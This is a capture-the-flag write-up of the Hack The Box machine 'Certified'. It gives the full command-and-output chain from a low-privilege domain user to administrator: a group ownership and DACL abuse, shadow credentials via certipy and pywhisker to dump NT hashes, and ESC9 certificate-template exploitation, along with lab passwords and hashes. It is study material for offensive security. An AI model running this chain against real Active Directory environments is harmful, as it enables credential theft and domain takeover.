htb-certified

htb certified

This box starts with a given low-privileged username and password like in a real pen-test [ judith.mader:judith09 ]

We verify this credentials, and check if we can add computer accounts

.

┌──(puck㉿kali)-[~/htb/certified]
└─$ netexec ldap certified.htb -u "judith.mader" -p 'judith09' -M maq 
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.41     389    DC01             [+] certified.htb\judith.mader:judith09 
MAQ         10.10.11.41     389    DC01             [*] Getting the MachineAccountQuota
MAQ         10.10.11.41     389    DC01             MachineAccountQuota: 10

We do a targeted kerberoast ( after running sudo ntpdate -s certified.htb , to sync the clock ) if we can crack management_svc ‘s password , but we can’t

──(puck㉿kali)-[~/vulnlab/delegate/targetedKerberoast]
└─$ python3 targetedKerberoast.py -u 'judith.mader' -p 'judith09' --request-user management_svc -d 'certified.htb'

[*] Starting kerberoast attacks
[*] Attacking user (management_svc)
[+] Printing hash for (management_svc)
$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$ededf--snip--7863
                                                                                                                     
..
hashcat -a 0 -m 13100 management_svc.hash /usr/share/wordlists/rockyou.txt -o cracked
 -> hash can not be cracked!

 

We can add an computer account, but this is a dead end.

┌──(puck㉿kali)-[~/vulnlab/delegate/krbrelayx]
└─$ python3 dnstool.py -u 'certified\judith.mader' -p judith09 -r puckie.certified.htb -d 10.10.11.41 --action add dc01.certified.htb -dns-ip 10.10.11.41 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

ADCS

It’s always worth taking a look at Active Directory Certificate Services (ADCS). Certipy is a nice tool to do that from my VM. I’ll use the find command along with the -vulnerable flag and the creds to look for vulnerable certificate templates that judith.mader can abuse:

┌──(puck㉿kali)-[~/htb/certified]
└─$ certipy-ad find -vulnerable -u judith.mader -p judith09 -dc-ip 10.10.11.41 -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'certified-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates
                                                                                                                                                
┌──(puck㉿kali)-[~/htb/certified]

It gives information about the CA itself, but doesn’t show templates, as there are none that are exploitable from judith.mader.

Get some BloodHound data

┌──(puck㉿kali)-[~/htb/certified]
└─$ bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 03S
INFO: Compressing output into 20250405010819_bloodhound.zip

 

Shortest Paths to Domain Admins from Owned Principals shows

Shell as Management_SVC

Modify Owner

I’ll use an Impacket example script, owneredit.py to modify the owner.

Modify Rights

Next I need to give judith.mader the rights to add users:

There is a cleanup script resetting the status of things, so if this fail for permissions issues, I’ll just re-run the modify owner & modify rights command.

Add to Management

Next I’ll use the net binary to add judith.mader to the Management group:

 

┌──(puck㉿kali)-[~/htb/certified]
└─$ impacket-owneredit -action write -new-owner judith.mader -target management certified/judith.mader:judith09 -dc-ip 10.10.11.41 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!
                                                                                                                                                
┌──(puck㉿kali)-[~/htb/certified]
└─$ impacket-dacledit -action 'write' -rights 'WriteMembers' -principal judith.mader -target Management 'certified'/'judith.mader':'judith09' -dc-ip 10.10.11.41 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20250404-233809.bak
[*] DACL modified successfully!
                                                                                                                                                
┌──(puck㉿kali)-[~/htb/certified]
└─$ net rpc group addmem Management judith.mader -U "certified.htb"/"judith.mader"%"judith09" -S 10.10.11.41
                                                                                                                                                
┌──(puck㉿kali)-[~/htb/certified]
└─$ net rpc group members Management -U "certified.htb"/"judith.mader"%"judith09" -S 10.10.11.41
CERTIFIED\judith.mader
CERTIFIED\management_svc

 

 

or we do it wit PowerView and BloodyAD

We continue on Bloodhound Analysing

Bloodhoud finds

The user JUDITH.MADER@CERTIFIED.HTB has the ability to modify the owner of the group MANAGEMENT@CERTIFIED.HTB.

Object owners retain the ability to modify object security descriptors, regardless of permissions on the object’s DACL.

To change the ownership of the object, you may use the Set-DomainObjectOwner function in PowerView.

Set-DomainObjectOwner -Credential $Cred -TargetIdentity "MANAGEMENT@CERTIFIED.HTB" -OwnerIdentity judith.mader

.

┌──(puck㉿kali)-[~/htb/rebound/powerview.py]
└─$ powerview certified.htb/judith.mader:'judith09'@certified.htb
Logging directory is set to /home/puck/.powerview/logs/certified-judith.mader-certified.htb
(LDAPS)-[DC01.certified.htb]-[CERTIFIED\judith.mader]
PV > Get-DomainObjectAcl -Identity judith.mader                              
ObjectDN                    : CN=Judith Mader,CN=Users,DC=certified,DC=htb
ObjectSID                   : S-1-5-21-729746778-2675978091-3820388244-1103
ACEType                     : ACCESS_ALLOWED_OBJECT_ACE
ACEFlags                    : None
AccessMask                  : ReadProperty
ObjectAceFlags              : ACE_OBJECT_TYPE_PRESENT
ObjectAceType               : 4c164200-20c0-11d0-a768-00aa006e0529
InheritanceType             : None
SecurityIdentifier          : RAS and IAS Servers (S-1-5-21-729746778-2675978091-3820388244-553)

.

1st add  judith as owner

PV > Set-DomainObjectOwner -TargetIdentity "Management" -PrincipalIdentity 'judith.mader'
[2024-12-13 12:04:15] [Set-DomainObjectOwner] Changing current owner S-1-5-21-729746778-2675978091-3820388244-512 to S-1-5-21-729746778-2675978091-3820388244-1103
[2024-12-13 12:04:15] [Set-DomainObjectOwner] Success! modified owner for CN=Management,CN=Users,DC=certified,DC=htb
(LDAPS)-[DC01.certified.htb]-[CERTIFIED\judith.mader]
PV > 

or use

┌──(puck㉿kali)-[~/htb/rebound/bloodyAD]
└─$ python3 bloodyAD.py --host "10.10.11.41" -d "certified.htb" -u "judith.mader" -p "judith09" set owner Management judith.mader
[!] S-1-5-21-729746778-2675978091-3820388244-1103 is already the owner, no modification will be made

 

2nd add user to group with powerview.py and then : Add-DomainObjectAcl -TargetIdentity “Management” -PrincipalIdentity ‘judith.mader’

PV > Add-DomainObjectAcl -TargetIdentity "Management" -PrincipalIdentity 'judith.mader'          
[2024-12-13 12:08:52] [Add-DomainObjectACL] Found target identity: CN=Management,CN=Users,DC=certified,DC=htb
[2024-12-13 12:08:52] [Add-DomainObjectACL] Found principal identity: CN=Judith Mader,CN=Users,DC=certified,DC=htb
[2024-12-13 12:08:52] Adding FullControl to S-1-5-21-729746778-2675978091-3820388244-1104
[2024-12-13 12:08:52] DACL modified successfully!
(LDAPS)-[DC01.certified.htb]-[CERTIFIED\judith.mader]
PV > 

 

.

(LDAPS)-[DC01.certified.htb]-[CERTIFIED\judith.mader]
PV > Get-DomainGroupMember -Identity 'Management'             
GroupDomainName             : Management
GroupDistinguishedName      : CN=Management,CN=Users,DC=certified,DC=htb
MemberDomain                : certified.htb
MemberName                  : management_svc
MemberDistinguishedName     : CN=management service,CN=Users,DC=certified,DC=htb
MemberSID                   : S-1-5-21-729746778-2675978091-3820388244-1105

next

.

Get NTLM for Management_SVC

It suggests either a Targeted Kerberoast,( that didnt’t work ) or a Shadow Credential. I like Shadow Credentials here, so I’ll go with that.

Add Shadow Credential

The abuse information shows using pywhisker, but I’ll use certipy:

┌──(puck㉿kali)-[~/htb/certified]
└─$ certipy-ad shadow auto -username judith.mader@certified.htb -password judith09 -account management_svc -target certified.htb -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '337329a0-fdf7-859c-8b08-3dcc3721a95b'
[*] Adding Key Credential with device ID '337329a0-fdf7-859c-8b08-3dcc3721a95b' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID '337329a0-fdf7-859c-8b08-3dcc3721a95b' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584

This prints out the NTLM hash for the management_svc account.

WinRM

Check Hash

With that hash, I’ll check that it works for SMB and WINRM :

┌──(puck㉿kali)-[~/htb/certified]
└─$ nxc winrm certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584 
WINRM       10.10.11.41     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
WINRM       10.10.11.41     5985   DC01             [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584 (Pwn3d!)

Shell

I’ll use Evil-WinRM to get a shell on Certified:

puck@kali$ evil-winrm -i certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\management_svc\Documents>

And on the desktop get user.txt:

Auth as CA_Operator

Enumeration

Users

There are not any other users besides administrator with home directories on the box:

ADCS

I’ll run certipy as management_svc to look for vulnerable templates, but the output is exactly the same as the previous run with judith.mader:

┌──(puck㉿kali)-[~/htb/certified]
└─$ certipy-ad find -vulnerable -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.10.11.41 -stdout 
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[--snip--
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates

Shadow Credential

Get NTLM

I already found above that the management_svc user has GenericAll over the CA_Operator user. I can use the same attack as above ( had to run it twice!), writing a Shadow Credential to get the NTLM hash of this user:

┌──(puck㉿kali)-[~/htb/certified]
└─$ certipy-ad shadow auto -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -account ca_operator -target certified.htb -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[-] Got error: socket connection error while opening: [Errno 113] No route to host
[-] Use -debug to print a stacktrace
                                                                                                                                                
┌──(puck㉿kali)-[~/htb/certified]
└─$ certipy-ad shadow auto -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -account ca_operator -target certified.htb -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_operator'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'ec0fddf6-4138-5004-c393-e685fa87751d'
[*] Adding Key Credential with device ID 'ec0fddf6-4138-5004-c393-e685fa87751d' to the Key Credentials for 'ca_operator'
[*] Successfully added Key Credential with device ID 'ec0fddf6-4138-5004-c393-e685fa87751d' to the Key Credentials for 'ca_operator'
[*] Authenticating as 'ca_operator' with the certificate
[*] Using principal: ca_operator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_operator.ccache'
[*] Trying to retrieve NT hash for 'ca_operator'
[*] Restoring the old Key Credentials for 'ca_operator'
[*] Successfully restored the old Key Credentials for 'ca_operator'
[*] NT hash for 'ca_operator': b4b86f45c6018f1b664f70805f45d8f2
                                                                                                                                                
┌──(puck㉿kali)-[~/htb/certified]

Validate

The hash works:

puck@kali$ nxc smb dc01.certified.htb -u ca_operator -H b4b86f45c6018f1b664f70805f45d8f2
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\ca_operator:b4b86f45c6018f1b664f70805f45d8f2

But not for WinRM:

Shell as administrator

Enumerate ADCS

I’ll run the same certipy command again, this time as ca_operator, and this time the results are different:

┌──(puck㉿kali)-[~/htb/certified]
└─$ certipy-ad find -vulnerable -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.10.11.41 -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'certified-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : certified-DC01-CA
    DNS Name                            : DC01.certified.htb
    Certificate Subject                 : CN=certified-DC01-CA, DC=certified, DC=htb
    Certificate Serial Number           : 36472F2C180FBB9B4983AD4D60CD5A9D
    Certificate Validity Start          : 2024-05-13 15:33:41+00:00
    Certificate Validity End            : 2124-05-13 15:43:41+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CERTIFIED.HTB\Administrators
      Access Rights
        ManageCertificates              : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        ManageCa                        : CERTIFIED.HTB\Administrators
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
        Enroll                          : CERTIFIED.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
                                          CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFIED.HTB\Administrator
        Write Owner Principals          : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Dacl Principals           : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
        Write Property Principals       : CERTIFIED.HTB\Domain Admins
                                          CERTIFIED.HTB\Enterprise Admins
                                          CERTIFIED.HTB\Administrator
    [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

There’s a template named CertifiedAuthentication that is vulnerable to ESC9.

ESC9 Background

This page talks about the background for ESC9. ESC9 requires three conditions:

  • StrongCertificateBindingEnforcement not set to 2 (default: 1) or CertificateMappingMethods contains UPN flag
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies any client authentication EKU

The attacker also needs to have access to an account that has GenericWrite over the another account.

The attack from here is to change the userPrincipalName (or UPN) of the second account to Administrator. This is explicitly not Administrator@domain, as that would conflict with the legit administrator account.

When I request a certificate as the second account, the server will return one with the UPN Administrator and no SID.

When I use this certificate, Windows is nice enough to assume that domain is it’s domain, and authenticate as administrator.

Exploit ESC9

To exploit ESC9, I’ll abuse my access to the management_svc account that has GenericAll over the ca_operator account, using it to change the userPrincipalName of ca_operator to be Administrator:

1st check the current UPN [ userPrincipalName: ca_operator@certified.htb ]

┌──(puck㉿kali)-[~/htb/certified]
└─$ ldapsearch -x -H ldap://certified.htb -D "judith.mader@certified.htb" -w "judith09" -b "DC=certified,DC=htb" "(sAMAccountName=ca_operator)" userPrincipalName
# extended LDIF
#
# LDAPv3
# base <DC=certified,DC=htb> with scope subtree
# filter: (sAMAccountName=ca_operator)
# requesting: userPrincipalName 
#

# operator ca, Users, certified.htb
dn: CN=operator ca,CN=Users,DC=certified,DC=htb
userPrincipalName: ca_operator@certified.htb

next change the userPrincipalName of ca_operator to be Administrator:

┌──(puck㉿kali)-[~/htb/certified]
└─$ certipy-ad account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -dc-ip 10.10.11.41 
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : Administrator
[*] Successfully updated 'ca_operator'

Now I’ll request a certificate as ca_operator using the vulnerable template: ( again had to run it twice )

┌──(puck㉿kali)-[~/htb/certified]
└─$ certipy-ad req -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error: The NETBIOS connection with the remote host timed out.
[-] Use -debug to print a stacktrace
                                                                                                                                                
┌──(puck㉿kali)-[~/htb/certified]
└─$ certipy-ad req -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

I’ll note that the UPN is Administrator and there’s no SID in the certificate. After this step, I’ll cleanup by changing ca_operator’s upn back to what it was:

┌──(puck㉿kali)-[~/htb/certified]
└─$ certipy-ad account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.10.11.41 
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

This is more than just for OPSEC. Leaving this will lead to failure. It’s not 100% clear to me why at this point.

I’ll use the certificate to get the administrator’s NTLM hash:

┌──(puck㉿kali)-[~/htb/certified]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.41 -domain certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

Shell

The NLTM hash is all I need to get a shell over Evil-WinRM as administrator:

┌──(puck㉿kali)-[~/htb/certified]
└─$ evil-winrm -i certified.htb -u administrator -H 0d5b49608bbce1751f708748f67e2d34
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
certified\administrator

.

That was Fun


 

.

Pywhisker way:

To prevent pywhisker error [!] module ‘OpenSSL.crypto’ has no attribute ‘PKCS12’ , run it in a Virtualized Python Environment !

┌──(puck㉿kali)-[~/tools/pywhisker/pywhisker]
└─$ source venv/bin/activate 
┌──(venv)─(puck㉿kali)-[~/tools/pywhisker/pywhisker]

└─$ python3 pywhisker.py  -d "certified.htb" -u "judith.mader" -p 'judith09' --target "management_svc" --action "list"   
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Attribute msDS-KeyCredentialLink is either empty or user does not have read permissions on that attribute

Op dit punt downloaden we de BloodHound-informatie opnieuw en laden deze opnieuw in BloodHound om te bekijken. De nieuw toegevoegde curven zijn wat we zojuist hebben aangepast.

In de tweede fase heeft u volledige controle over de management_svc-gebruiker

De hieronder gebruikte methode wordt Shadow Credential-aanval genoemd. Gebruik pywhisker om de inhoud van het msDs-KeyCredentialLink-kenmerk toe te voegen aan de management_svc-gebruiker.

Nadat u een gebruiker met hoge bevoegdheden heeft verkregen, voegt u Shadow Credential (msDS-KeyCredentialLink-attribuut) toe aan de doelgebruiker en combineert u deze met relevante aanvalshulpmiddelen om het .pfx-privésleutelcertificaatbestand te verkrijgen. Gebruik vervolgens het .pfx-bestand om dat van de doelgebruiker aan te vragen TGT en verkrijg vervolgens de NTLM Hash .
https://mrwq.github.io/aggregate-paper/butian/%E7%BA%A2%E9%98%9F%E5%9F%9F%E6%B8%97%E9%8 0%8F%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E6%8A%80%E6%9C%AF%EF%BC%9ASschaduw%20Inloggegevens/

Vóór uitvoering kunt u zien dat dit kenmerk van de management_svc-gebruiker leeg is.

we voeren uit

┌──(puck㉿kali)-[~/htb/certified]
└─$ python3 -m venv venv
                                                                                                           
┌──(puck㉿kali)-[~/htb/certified]
└─$ source venv/bin/activate      
                                                                                                           
┌──(venv)─(puck㉿kali)-[~/htb/certified]
└─$ git clone https://github.com/ShutdownRepo/pywhisker.git
Cloning into 'pywhisker'...
remote: Enumerating objects: 204, done.
remote: Counting objects: 100% (75/75), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 204 (delta 61), reused 59 (delta 59), pack-reused 129 (from 1)
Receiving objects: 100% (204/204), 2.09 MiB | 7.58 MiB/s, done.
Resolving deltas: 100% (101/101), done.
                                                                                                           
┌──(venv)─(puck㉿kali)-[~/htb/certified]
└─$ cd pywhisker   
                                                                                                           
┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker]
└─$ pip3 install -r requirements.txt

┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker]
└─$ python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p 'judith09' --target "management_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 2c9445d9-22f0-8f97-3274-195daa2cbb14
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: RZGoctPX.pfx
[*] Must be used with password: nC5rDtLeeEelChd5aufH
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
                                                                                                           
┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker]
└─$ ls -la
total 64
drwxrwxr-x 2 puck puck  4096 Dec 13 15:47 .
drwxrwxr-x 6 puck puck  4096 Dec 13 15:35 ..
-rw-rw-r-- 1 puck puck    27 Dec 13 15:35 __init__.py
-rw-rw-r-- 1 puck puck 48593 Dec 13 15:35 pywhisker.py
-rw-rw-r-- 1 puck puck  2297 Dec 13 15:47 RZGoctPX.pfx
                                                                                                           
┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker]

.

Wijzigingsbewerkingen uitvoeren. Deze synchronisatiebewerking genereert een pfx-bestand in de directory en het wachtwoord dat overeenkomt met pfx wordt in de informatie vermeld.

┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker]
└─$ python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p 'judith09' --target "management_svc" --action "list"
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Listing devices for management_svc
[*] DeviceID: 2c9445d9-22f0-8f97-3274-195daa2cbb14 | Creation Time (UTC): 2024-12-13 14:47:38.292488
                                                                                                           
┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker]

.

Controleer opnieuw en het geeft aan dat de bewerking succesvol was.

Sync Time with DC

┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ sudo ntpdate certified.htb      
[sudo] password for puck: 
2024-12-13 23:03:23.968982 (+0100) +25200.590484 +/- 0.007357 certified.htb 10.10.11.41 s1 no-leap
CLOCK: time stepped by 25200.590484

 

Haal de TGT van management_svc op.

┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ python3 gettgtpkinit.py certified.htb/management_svc -cert-pfx RZGoctPX.pfx -pfx-pass 'nC5rDtLeeEelChd5aufH' management_svc.ccache
2024-12-13 23:03:28,154 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-12-13 23:03:28,169 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2024-12-13 23:03:43,399 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-12-13 23:03:43,400 minikerberos INFO     ceaa5fa5921ea307875e75016b1789609e02397cbfc7324edf3f03f0f95e27b3
INFO:minikerberos:ceaa5fa5921ea307875e75016b1789609e02397cbfc7324edf3f03f0f95e27b3
2024-12-13 23:03:43,403 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file
                                                                                                           
┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]

.

 

Haal ten slotte de NT-hash van management_svc op.

┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ ls -la
total 88
drwxrwxr-x 4 puck puck  4096 Dec 13 23:03 .
drwxrwxr-x 5 puck puck  4096 Dec 13 15:55 ..
-rw-rw-r-- 1 puck puck   227 Dec 13 15:55 .editorconfig
-rw-rw-r-- 1 puck puck 10960 Dec 13 15:55 getnthash.py
-rw-rw-r-- 1 puck puck  8560 Dec 13 15:55 gets4uticket.py
-rw-rw-r-- 1 puck puck 14826 Dec 13 15:55 gettgtpkinit.py
drwxrwxr-x 8 puck puck  4096 Dec 13 15:55 .git
-rw-rw-r-- 1 puck puck    66 Dec 13 15:55 .gitignore
-rw-rw-r-- 1 puck puck  1095 Dec 13 15:55 LICENSE
-rw-rw-r-- 1 puck puck  1721 Dec 13 23:03 management_svc.ccache
drwxrwxr-x 2 puck puck  4096 Dec 13 15:55 ntlmrelayx
-rw-rw-r-- 1 puck puck  6412 Dec 13 15:55 README.md
-rw-rw-r-- 1 puck puck    21 Dec 13 15:55 requirements.txt
-rw-rw-r-- 1 puck puck  2297 Dec 13 16:00 RZGoctPX.pfx
                                                                                                           
┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ export KRB5CCNAME=management_svc.ccache                            

                                                                                                           
┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ klist
Ticket cache: FILE:management_svc.ccache
Default principal: management_svc@CERTIFIED.HTB

Valid starting       Expires              Service principal
12/13/2024 23:03:43  12/14/2024 09:03:43  krbtgt/CERTIFIED.HTB@CERTIFIED.HTB
                                                                                                           
┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]

.

Vervolgens

┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ python3 getnthash.py certified.htb/management_svc -key ceaa5fa5921ea307875e75016b1789609e02397cbfc7324edf3f03f0f95e27b3
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584

.

 

